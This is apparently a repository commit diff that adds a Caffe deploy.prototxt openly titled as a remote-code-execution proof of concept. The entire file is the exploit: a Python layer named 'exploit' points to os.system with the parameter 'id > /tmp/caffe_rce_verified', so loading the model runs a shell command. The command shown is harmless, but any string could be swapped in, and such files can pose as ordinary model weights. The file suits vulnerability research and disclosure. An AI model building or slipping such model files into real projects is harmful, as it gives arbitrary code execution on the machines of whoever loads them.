Add Caffe PythonLayer RCE PoC prototxt
Browse files- deploy.prototxt +25 -0
deploy.prototxt
ADDED
|
@@ -0,0 +1,25 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
name: "RCE_Net"
|
| 2 |
+
input: "data"
|
| 3 |
+
input_shape {
|
| 4 |
+
dim: 1
|
| 5 |
+
dim: 3
|
| 6 |
+
dim: 224
|
| 7 |
+
dim: 224
|
| 8 |
+
}
|
| 9 |
+
layer {
|
| 10 |
+
name: "exploit"
|
| 11 |
+
type: "Python"
|
| 12 |
+
bottom: "data"
|
| 13 |
+
top: "exploit"
|
| 14 |
+
python_param {
|
| 15 |
+
module: "os"
|
| 16 |
+
layer: "system"
|
| 17 |
+
param_str: "id > /tmp/caffe_rce_verified"
|
| 18 |
+
}
|
| 19 |
+
}
|
| 20 |
+
layer {
|
| 21 |
+
name: "output"
|
| 22 |
+
type: "Softmax"
|
| 23 |
+
bottom: "exploit"
|
| 24 |
+
top: "output"
|
| 25 |
+
}
|